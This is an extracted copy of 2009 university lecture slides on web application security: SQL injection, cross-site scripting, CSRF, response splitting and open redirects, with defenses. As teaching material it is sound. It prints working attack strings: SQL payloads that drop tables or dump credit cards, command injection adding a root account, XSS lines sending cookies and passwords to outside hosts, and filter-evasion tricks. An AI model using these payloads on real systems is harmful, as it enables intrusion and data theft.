文档搜索 > Web application code Common vulnerabilities SQL Injection Dynamic Web Application

Web application code Common vulnerabilities SQL Injection Dynamic Web Application

Page 1
1
Secure Web Site Design
CS 155 Spring 2009
1
John Mitchell
Schematic web site architecture
Application Firewall (WAF) Firewall Load Balancer DB WS1 WS2 Firewall App Servers
2
IDS WS3 Authorization Netegrity (CA) Oblix (Oracle)
Web application code
Runs on web server or app server.
? Takes input from web users (via web server) ? Interacts with the database and 3rd parties. ? Prepares results for users (via web server) 3
Examples:
? Shopping carts, home banking, bill pay, tax prep, … ? New code written for every web site.
Written in:
? C, PHP, Perl, Python, JSP, ASP, … ? Often written with little consideration for security
Common vulnerabilities
SQL Injection
? Browser sends malicious input to server ? Bad input checking leads to malicious SQL query
XSS – Cross-site scripting B d b it d i t i ti i tth t
Sans Top 10
? Bad web site sends innocent victim a script that
steals information from an honest web site CSRF – Cross-site request forgery
? Bad web site sends request to good web site, using
credentials of an innocent victim who “visits” site Other problems
? HTTP response splitting, site redirects, … 4
10
SQL Injection
5
with slides from Neil Daswani
Dynamic Web Application
Browser Web server GET / HTTP/1.0 HTTP/1.1 200 OK
6
index.php Database server

Page 2
2
PHP: Hypertext Preprocessor
Server scripting language with C-like syntax Can intermingle static HTML and code <input value=<?php echo $myvalue; ?>> Can embed variables in double-quote strings
7
Can embed variables in double quote strings
$user = “world”; echo “Hello $user!”;
or $user = “world”; echo “Hello” . $user . “!”; Form data in global arrays $_GET, $_POST, …
SQL
Widely used database query language Fetch a set of records
SELECT * FROM Person WHERE Username=‘grader’
Add data to the table
8
Add data to the table
INSERT INTO Person (Username, Zoobars) VALUES (‘grader’, 10)
Modify data
UPDATE Person SET Zoobars=42 WHERE PersonID=5
Query syntax (mostly) independent of vendor
Example
Sample PHP
$recipient = $_POST[‘recipient’]; $sql = "SELECT PersonID FROM Person WHERE Username='$recipient'"; $ $db t Q ($ l)
9
$rs = $db->executeQuery($sql);
Problem
? What if ‘recipient’ is malicious string that
changed the meaning of the query?
Basic picture: SQL Injection
Victim Server
1 2
10
Victim SQL DB Attacker
unintended query receive valuable data 3
CardSystems Attack
CardSystems
?
credit card payment processing company
?
SQL injection attack in June 2005
?
put company out of business
The Attack
11
The Attack
?
263,000 credit card #s stolen from database
?
credit card #s stored unencrypted
?
43 million credit card #s exposed
April 2008 SQL Vulnerabilities

Page 3
3
Main steps in this attack
Use Google to find sites using a particular ASP style vulnerable to SQL injection Use SQL injection on these sites to modify the page to include a link to a Chinese site nihaorr1.com Don't visit this site yourself! Don t visit this site yourself! The site (nihaorr1.com) serves JavaScript that exploits vulnerabilities in IE, RealPlayer, QQ Instant Messenger
Steps (1) and (2) are automated in a tool that can be configured to inject whatever you like into vulnerable sites There is some evidence that hackers may get paid for each visit to nihaorr1.com
13
Part of the SQL attack string
DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+'‘ ''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor; DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST( %20AS%20NVARCHAR(4000));EXEC(@S);--
14 15
SQL Injection Examples
Web Web
Enter Username & Password SELECT passwd FROM USERS
Type 1 Attack Example
Web Server Browser (Client)
DB
Password WHERE uname IS ‘$username’
Attacker will modify
Malicious input
17
Attacker Modifies Input
SQL Injection Examples
Web Server Web Browser
DB
Enter Username & Password SELECT passwd FROM USERS WHERE uname IS ‘’; DROP TABLE
Malicious Query
Server (Client)
IS ; DROP TABLE USERS; -- ‘
Eliminates all user accounts

Page 4
4
What is SQL Injection?
Input Validation Vulnerability
? Untrusted user input in SQL query sent to back-end
database without sanitizing the data Specific case of more general command injection
? Inserting untrusted input into a query or command
Why is this Bad?
? Data can be misinterpreted as a command ? Can alter the intended effect of command or query 19
SQL Injection Examples
View pizza order history:<br> <form method="post" action="..."> Month <select> <option name="month" value="1">Jan</option>
20
... <option name="month" value="12">Dec</option> </select> Year <p> <input type=submit name=submit value=View> </form>
Attacker can post form that is not generated by this page.
SQL Injection Examples
SELECT pizza, toppings, quantity, order_day FROM orders WHERE userid=4123 AND order_month=10
Normal SQL Query
F d h t tt k ld i t
Type 2
21
For order_month parameter, attacker could input
Type 2 Attack
0 OR 1=1
Malicious Query
WHERE userid=4123 AND order_month=0 OR 1=1 WHERE condition is always true! Gives attacker access to other users’ private data!
SQL Injection Examples
All User Data Compromised
22
SQL Injection Examples
A more damaging breach of user privacy:
For order_month parameter, attacker could input
0 AND 1=0 UNION SELECT cardholder, number, exp_month, exp_year FROM creditcards
Attacker is able to
? Combine the results of two queries ? Empty table from first query with the sensitive
credit card info of all users from second query
23
FROM creditcards
SQL Injection Examples
Credit Card Info Compromised
24

Page 5
5
More Attacks
? Create new users:
‘; INSERT INTO USERS (‘uname’,’passwd’, ‘salt’) VALUES (‘hacker’,’38a74f’, 3234);
? Password reset: ? Password reset:
‘; UPDATE USERS SET email=hcker@root.org WHERE email=victim@yahoo.com
Second-Order SQL Injection
Second-Order SQL Injection: attack where data stored in database is later used to conduct SQL injection Example: this vulnerability could exist if string i i li d i i t tl
26
escaping is applied inconsistently Solution: Treat ALL parameters as dangerous
UPDATE USERS SET UPDATE USERS SET passwd='cracked' ='cracked' WHERE uname='admin' ='admin' --'
attacker chooses username 'admin' -- Strings not escaped!
Preventing SQL Injection
Input validation
?
Filter
◆ Apostrophes, semicolons, percent symbols, hyphens,
underscores, …
◆ Any character that has special meanings
Ch k th d t t ( k it’ i t )
?
Check the data type (e.g., make sure it’s an integer) Whitelisting
?
Blacklisting chars doesn’t work
◆ forget to filter out some characters ◆ could prevent valid input (e.g. username O’Brien)
?
Allow only well-defined set of safe values
◆ Set implicitly defined through regular expressions
Escaping Quotes
For valid string inputs like username o’connor, use escape characters
?
Ex: escape(o’connor) = o’’connor
?
only works for string inputs
28
Prepared Statements
Metacharacters (e.g. ‘) in queries provide distinction between data & control Most attacks: data interpreted as control / alters the semantics of a query/cmd Bind Variables: ? placeholders guaranteed to be data Bind Variables: ? placeholders guaranteed to be data (not control) Prepared Statements allow creation of static queries with bind variables → preserves the structure of intended query
29
Prepared Statement:Example
PreparedStatement ps = db.prepareStatement("SELECT pizza, toppings, quantity, order_day " + "FROM orders WHERE userid=? AND order_month=?"); ps.setInt(1, session.getCurrentUserId()); ps.setInt(2, Integer.parseInt(request.getParamenter("month"))); p ( g p ( q g ( ))) ResultSet res = ps.executeQuery();
Bind Variable: Data Placeholder
? query parsed w/o parameters ? bind variables are typed e.g. int, string, etc…*

Page 6
6
Parameterized SQL
Build SQL queries by properly escaping args: ′ → \′ Example: Parameterized SQL: (ASP.NET 1.1)
?
Ensures SQL arguments are properly escaped.
SqlCommand cmd = new SqlCommand(
31
"SELECT * FROM UserTable WHERE username = @User AND password = @Pwd", dbConnection); cmd.Parameters.Add("@User", Request[“user”] ); cmd.Parameters.Add("@Pwd", Request[“pwd”] ); cmd.ExecuteReader();
Mitigating Impacts
Prevent Schema & Information Leaks Limit Privileges (Defense-in-Depth) E t S iti D t t d i D t b Encrypt Sensitive Data stored in Database Harden DB Server and Host OS Apply Input Validation
32
Other command injection
Example: PHP server-side code for sending email Att k t
$email = $_POST[“email”] $subject = $_POST[“subject”] system(“mail $email –s $subject < /tmp/joinmynetwork”)
Attacker can post OR
http://yourdomain.com/mail.pl? email=hacker@hackerhome.net& subject=foo < /usr/passwd; ls http://yourdomain.com/mail.pl? email=hacker@hackerhome.net&subject=foo; echo “evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
Cross Site Scripting (XSS)
Basic scenario: reflected XSS attack
Attack Server
1 2 5
Victim Server Victim client
The setup
User input is echoed into HTML response. Example: search field
? http://victim.com/search.php ? term = apple 36 ? search.php responds with:
<HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML>
Is this exploitable?

Page 7
7
Bad input
Consider link: (properly URL encoded)
http://victim.com/search.php ? term = <script> window.open( “http://badguy.com?cookie = ” + document cookie ) </script>
37
document.cookie ) </script>
What if user clicks on this link?
1.
Browser goes to victim.com/search.php
2.
Victim.com returns
<HTML> Results for <script> … </script>
3.
Browser executes script: Sends badguy.com cookie for victim.com
Attack Server Victim client
http://victim.com/search.php ? term = <script> ... </script>
www.attacker.com
<html> Results for
<script> window.open(http://attacker.com? ... document.cookie ...) </script>
</html>
Victim Server
www.victim.com
So what?
Why would user click on such a link?
? Phishing email in webmail client (e.g. gmail). ? Link in doubleclick banner ad
… many many ways to fool user into clicking
39
y y y g What if badguy.com gets cookie for victim.com ?
? Cookie can include session auth for victim.com
◆ Or other data intended only for victim.com
?
Violates same origin policy
Much worse …
Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim.com
? Control links on page
C t l f fi ld ( d fi ld) thi
40 ? Control form fields (e.g. password field) on this
page and linked pages.
◆ Example: MySpace.com phishing attack injects
password field that sends password to bad guy. Can infect other users: MySpace.com worm.
What is XSS?
An XSS vulnerability is present when an attacker can inject scripting code into pages generated by a web application. Methods for injecting malicious code: j g
? Reflected XSS (“type 1”)
◆ the attack script is reflected back to the user as part of a
page from the victim site
? Stored XSS (“type 2”)
◆ the attacker stores the malicious code in a resource
managed by the web application, such as a database
? Others, such as DOM-based attacks
Basic scenario: reflected XSS attack
Attack Server
1 2 5 Email version
Server Victim User Victim

Page 8
8
2006 Example Vulnerability
Attackers contacted users via email and fooled them into accessing a particular URL hosted on the legitimate PayPal website. Injected code redirected PayPal visitors to a page warning users their accounts had been compromised their accounts had been compromised. Victims were then redirected to a phishing site and prompted to enter sensitive financial data.
Source: http://www.acunetix.com/news/paypal.htm
Adobe PDF viewer “feature”
PDF documents execute JavaScript code
http://path/to/pdf/file.pdf#whatever_name_ you_want=javascript:code_here
(version <= 7.9)
The code will be executed in the context of the domain where the PDF files is hosted This could be used against PDF files hosted on the local filesystem
http://jeremiahgrossman.blogspot.com/2007/01/what-you-need-to-know-about-uxss-in.html
Here’s how the attack works:
Attacker locates a PDF file hosted on website.com Attacker creates a URL pointing to the PDF, with JavaScript Malware in the fragment portion
?
http://website.com/path/to/file.pdf#s=javascript:alert(”xss”);)
Attacker entices a victim to click on the link If the victim has Adobe Acrobat Reader Plugin 7.0.x or less, confirmed in Firefox and Internet Explorer, the JavaScript Malware executes
And if that doesn’t bother you...
PDF files on the local filesystem: file:///C:/Program%20Files/Adobe/Acrobat%2 07.0/Resource/ENUtxt.pdf#blah=javascript:al ert("XSS"); JavaScript Malware now runs in local context with the ability to read local files ...
Reflected XSS attack
Attack Server
5
Server Victim User Victim
Send bad stuff Reflect it back
Stored XSS
Attack Server
I j t 1
Server Victim User Victim
Inject malicious script Store bad stuff Download it

Page 9
9
MySpace.com (Samy worm)
Users can post HTML on their pages
? MySpace.com ensures HTML contains no
<script>, <body>, onclick, <a href=javascript://>
? … but can do Javascript within CSS tags:
p g
<div style=“background:url(‘javascript:alert(1)’)”>
And can hide “javascript” as “java\nscript
With careful javascript hacking:
? Samy worm infects anyone who visits an infected
MySpace page … and adds Samy as a friend.
? Samy had millions of friends within 24 hours.
http://namb.la/popular/tech.html
Stored XSS using images
Suppose pic.jpg on web server contains HTML !
◆ request for http://site.com/pic.jpg results in:
HTTP/1.1 200 OK … Content-Type: image/jpeg <html> fooled ya </html>
◆ IE will render this as HTML (despite Content-Type)
? Consider photo sharing sites that support image uploads
? What if attacker uploads an “image” that is a script?
Untrusted script in Facebook apps
User data
User- supplied application
DOM-based XSS (no server used)
Example page
<HTML><TITLE>Welcome!</TITLE> Hi <SCRIPT> var pos = document.URL.indexOf("name=") + 5; document.write(document.URL.substring(pos,do cument URL length)); cument.URL.length)); </SCRIPT> </HTML>
Works fine with this URL
http://www.example.com/welcome.html?name=Joe
But what about this one?
http://www.example.com/welcome.html?name= <script>alert(document.cookie)</script>
Amit Klein ... XSS of the Third Kind
Lots more information about attacks
Strangely, this is not the cover of the book ...
Defenses at server
Attack Server
1 2 5
Server Victim User Victim

Page 10
10
How to Protect Yourself (OWASP)
The best way to protect against XSS attacks:
?
Ensure that your app validates all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification of what should be allowed.
?
Do not attempt to identify active content and remove, filter, i i i Th f i or sanitize it. There are too many types of active content and too many ways of encoding it to get around filters for such content.
?
We strongly recommend a ‘positive’ security policy that specifies what is allowed. ‘Negative’ or attack signature based policies are difficult to maintain and are likely to be incomplete.
Input data validation and filtering
Never trust client-side data
? Best: allow only what you expect
Remove/encode special characters
M di i l h !
? Many encodings, special chars! ? E.g., long (non-standard) UTF-8 encodings
Output filtering / encoding
Remove / encode (X)HTML special chars
?
&lt; for <, &gt; for >, &quot for “ …
Allow only safe commands (e.g., no <script>…) Caution: `filter evasion` tricks
S XSS Ch t Sh t f filt i
?
See XSS Cheat Sheet for filter evasion
?
E.g., if filter allows quoting (of <script> etc.), use malformed quoting: <IMG “””><SCRIPT>alert(“XSS”)…
?
Or: (long) UTF-8 encode, or…
Caution: Scripts not only in <script>!
Illustrative example
http://msdn.microsoft.com/en-us/library/aa973813.aspx
Why is this vulnerable to XSS? Analyze application
Use Case Scenario Scenario Inputs Input Trusted? Scenario Outputs Output Contains Untrusted Input?
User adds bookmark User name, Description, No Bookmark written to file Yes Bookmark Application thanks user User name No Thank you message page Yes User resets bookmark file Button click event Yes None N/A

Page 11
11
Select input encoding method
Encoding Method Should Be Used If … Example/Pattern
HtmlEncode Untrusted input is used in HTML output except when assigning to an HTML attribute. <a href="http://www.contoso.com">Click Here [Untrusted input]</a> HtmlAttributeEncode Untrusted input is used as an HTML attribute <hr noshade size=[Untrusted input]> JavaScriptEncode Untrusted input is used within a JavaScript context <script type="text/javascript"> … [Untrusted input] … </script> UrlEncode Untrusted input is used in a URL (such as a value in a querystring) <a href="http://search.msn.com/results.asp x?q=[Untrusted-input]">Click Here!</a> XmlEncode Untrusted input is used in XML output, except when assigning to an XML attribute <xml_tag>[Untrusted input]</xml_tag> XmlAttributeEncode Untrusted input is used as an XML attribute <xml_tag attribute=[Untrusted input]>Some Text</xml_tag>
Analyze application
Use Case Scenario Scenario Inputs Input Trusted? Scenario Outputs Output Contains Untrusted Input? Requires Encoding Encoding Method to Use
User adds bookmark User name, Description, No Bookmark written to Yes No (output written to Bookmark file file not Web response) Application thanks user User name No Thank you message page Yes Yes HtmlEncode User resets bookmark file Button click event Yes None N/A N/A
Select output encoding method
Use Case Scenario Scenario Inputs Input Trusted? Scenario Outputs Output Contains Untrusted Input? Requires Encoding Encoding Method to Use User views saved bookmarks Book- mark file data No Contributor, description, and link Yes Yes Name - HtmlEncode bookmarks data and link displayed in browser Description – HtmlEncode BookmarkLink - input validation.
Common encoding functions
PHP: htmlspecialchars(string) & → &amp; " → &quot; ' → &#039; < → &lt; > → &gt;
?
htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: &lt;a href=&#039;test&#039;&gt;Test&lt;/a&gt;
ASP.NET 1.1:
?
Server.HtmlEncode(string)
◆ Similar to PHP htmlspecialchars
See http://us3.php.net/htmlspecialchars
ASP.NET output filtering
validateRequest: (on by default)
?
Crashes page if finds <script> in POST data.
?
Looks for hardcoded list of patterns
?
Can be disabled: <%@ Page validateRequest=“false" %>

Page 12
12
Caution: Scripts not only in <script>!
JavaScript as scheme in URI
?
<img src=“javascript:alert(document.cookie);”>
JavaScript On{event} attributes (handlers)
?
OnSubmit, OnError, OnLoad, …
Typical use:
?
<img src=“none” OnError=“alert(document.cookie)”>
?
<iframe src=`https://bank.com/login` onload=`steal()`>
?
<form> action="logon.jsp" method="post" onsubmit="hackImg=new Image; hackImg.src='http://www.digicrime.com/'+document.for ms(1).login.value'+':'+ document.forms(1).password.value;" </form>
Problems with filters
Suppose a filter removes <script
? Good case
◆ <script src=“ ...” → src=“...”
? But then
◆ <scr<scriptipt src=“ ...” → <script src=“ ...”
Pretty good filter
function RemoveXSS($val) { // this prevents some character re-spacing such as <java\0script> $val = preg_replace('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '', $val); // straight replacements ... prevents strings like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A &#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29> $search = 'abcdefghijklmnopqrstuvwxyz'; $search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $search = '1234567890!@#$%^&*()'; $search .= 1234567890!@#$% &*(); $search .= '`";:?+/={}[]-_|\'\\'; for ($i = 0; $i < strlen($search); $i++) { $val = preg_replace('/(&#[xX]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); $val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ; } $ra1 = Array('javascript', 'vbscript', 'expression', 'applet', ...); $ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', ...); $ra = array_merge($ra1, $ra2); $found = true; // keep replacing as long as the previous round replaced something while ($found == true) { ...} return $val; }
http://kallahar.com/smallprojects/php_xss_filter_function.php
But watch out for tricky cases
Previous filter works on some input
?
Try it at http://kallahar.com/smallprojects/php_xss_filter_function.php
But consider this
java&#x09;script Blocked; &#x09 is horizontal tab java&#x26;#x09;script → java&#x09;script Instead of blocking this input, it is transformed to an attack Need to loop and reapply filter to output until nothing found
Advanced anti-XSS tools
Dynamic Data Tainting
? Perl taint mode
Static Analysis
A l J PHP t d t i ibl
? Analyze Java, PHP to determine possible
flow of untrusted input
Client-side XSS defenses
? Proxy-based: analyze the HTTP traffic exchanged
between user’s web browser and the target web server by scanning for special HTML characters and encoding them before executing the page on the user’s web browser
? Application-level firewall: analyze browsed HTML
pages for hyperlinks that might lead to leakage of sensitive information and stop bad requests using a set of connection rules.
? Auditing system: monitor execution of JavaScript
code and compare the operations against high- level policies to detect malicious behavior

Page 13
13
IE 8 XSS Filter
What can you do at the client?
Attack Server Server Victim User Victim
5
http://blogs.msdn.com/ie/archive/2008/07/01/ie8-security-part-iv-the-xss-filter.aspx
Points to remember
Key concepts
?
Whitelisting vs. blacklisting
?
Output encoding vs. input sanitization
?
Sanitizing before or after storing in database
?
Dynamic versus static defense techniques y a c e sus stat c de e se tec ques
Good ideas
?
Static analysis (e.g. ASP.NET has support for this)
?
Taint tracking
?
Framework support
?
Continuous testing
Bad ideas
?
Blacklisting
?
Manual sanitization
Cross Site Request Forgery Recall: session using cookies
Server Browser
Basic picture
Server Victim
1 4
77
Attack Server User Victim
2
Q: how long do you stay logged on to Gmail?
Cross Site Request Forgery (XSRF)
Example:
? User logs in to bank.com. Does not sign off. ? Session cookie remains in browser state ? Then user visits another site containing:
<form name=F action=http://bank com/BillPay php> <form name=F action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.F.submit(); </script>
? Browser sends user auth cookie with request
◆ Transaction will be fulfilled
Problem:
? cookie auth is insufficient when side effects can occur

Page 14
14
Example: Home Router
Home router
1
79
Bad web site User
2 3 4
Attack on Home Router
Fact:
? 50% of home users use a broadband router with a
default or no password Drive-by Pharming attack: User visits malicious site
[SRJ’07]
80 ? JavaScript at site scans home network looking for
broadband router:
? SOP allows “send only” messages
?
Detect success using onerror:

<IMG SRC=192.168.0.1 onError = do() >
? Once found, login to router and change DNS server
Problem: “send-only” access is sufficient to reprogram router
Login CSRF CSRF Defenses
Secret token
? Place nonce in page/form from honest site ? Check nonce in POST
◆ Confirm part of ongoing session with server
? Token in POST can be HMAC of session ID in cookie
Check referer (sic) header
? Referer header is provided by browser, not script ? Unfortunately, often filtered for privacy reasons
Use custom headers via XMLHttpRequest
? This requires global change in server apps 82
Login CSRF Referer header filtering
Same-site HTTP Cross-site HTTP 0 2 4 6 8 10 12 Same-site TLS Cross-site TLS Ad Network A Ad Network B

Page 15
15
Referer header filtering CSRF Recommendations
Login CSRF
?
Strict Referer validation
?
Login forms typically submit over HTTPS, not blocked
HTTPS sites, such as banking sites
Use strict Referer validation to protect against CSRF
?
Use strict Referer validation to protect against CSRF
Other
?
Use Ruby-on-Rails or other framework that implements secret token method correctly
Future
?
Alternative to Referer with fewer privacy problems
?
Send only on POST, send only necessary data
86
More server-side problems
HTTP Response Splitting Site Redirects
HTTP Response Splitting: The setup
User input echoed in HTTP header. Example: Language redirect page (JSP)
<% response.redirect(“/by_lang.jsp?lang=” + request.getParameter(“lang”) ) %>
88
Browser sends http://.../by_lang.jsp ? lang=french Server HTTP Response:
HTTP/1.1 302
(redirect)
Date: … Location: /by_lang.jsp ? lang=french
Is this exploitable?
Bad input
Suppose browser sends:
http://.../by_lang.jsp ? lang=
89
“ french \n
Content-length: 0 \r\n\r\n HTTP/1.1 200 OK Spoofed page
(URL encoded)
Bad input
HTTP response from server looks like:
HTTP/1.1 302
(redirect)
Date: … L ti /b l j ? l f h
90
Location: /by_lang.jsp ? lang= french Content-length: 0 HTTP/1.1 200 OK Content-length: 217 Spoofed page
lang

Page 16
16
So what?
What just happened:
? Attacker submitted bad URL to victim.com
◆ URL contained spoofed page in it
? Got back spoofed page 91
So what?
? Cache servers along path now store spoof of
victim.com
? Will fool any user using same cache server
Defense: don’t do that (use URL encoding…)
Redirects
EZShopper.com shopping cart (10/2004):
http://…/cgi-bin/ loadpage.cgi ? page=url
? Redirects browser to url
Redirects are common on many sites
92
y
? Used to track when user clicks on external link ? EZShopper uses redirect to add HTTP headers
Problem: phishing
http://victim.com/cgi-bin/loadpage ? page=phisher.com
? Link to victim.com puts user at phisher.com
? Local redirects should ensure target URL is local
Sample phishing email
How does this lead to spoof page?
Link displayed
? https://www.start.earthlink.net/track?billing.asp
Actual link in html email
? source:https://start.earthlink.net/track?id=101fe8439
p // / 8a866372f999c983d8973e77438a993847183bca43d7 ad47e99219a907871c773400b8328898787762c&url= http://202.69.39.30/snkee/billing.htm?session_id=84 95...
Website resolved to
? http://202.69.39.30/snkee/billing.htm?session_id=84
95...
Additional solutions Web Application Firewalls
Help prevent some attacks we discuss today:
?
Cross site scripting
?
SQL Injection
?
Form field tampering C ki i i
96 ?
Cookie poisoning
Sample products: Imperva Kavado Interdo F5 TrafficShield Citrix NetScaler CheckPoint Web Intel

Page 17
17
Code checking
Blackbox security testing services:
? Whitehatsec.com
Automated blackbox testing tools:
? Cenzic
Hailstorm
97 ? Cenzic, Hailstorm ? Spidynamic, WebInspect ? eEye, Retina
Web application hardening tools:
? WebSSARI [WWW’04] : based on information flow ? Nguyen-Tuong [IFIP’05] : based on tainting
Summary
SQL Injection
? Bad input checking allows malicious SQL query ? Known defenses address problem effectively
XSS – Cross-site scripting P bl t f h i t t di t
? Problem stems from echoing untrusted input ? Difficult to prevent; requires care, testing, tools, …
CSRF – Cross-site request forgery
? Forged request leveraging ongoing session ? Can be prevented (if XSS problems fixed)
Other server vulnerabilities
? Increasing knowledge embedded in frameworks,
tools, application development recommendations
99

设为首页 | 加入收藏 | 昂纲搜索

All Rights Reserved Powered by 文档下载网

Copyright © 2011
文档下载网内容来自网络,如有侵犯请和我们联系。tousu#anggang.com
返回顶部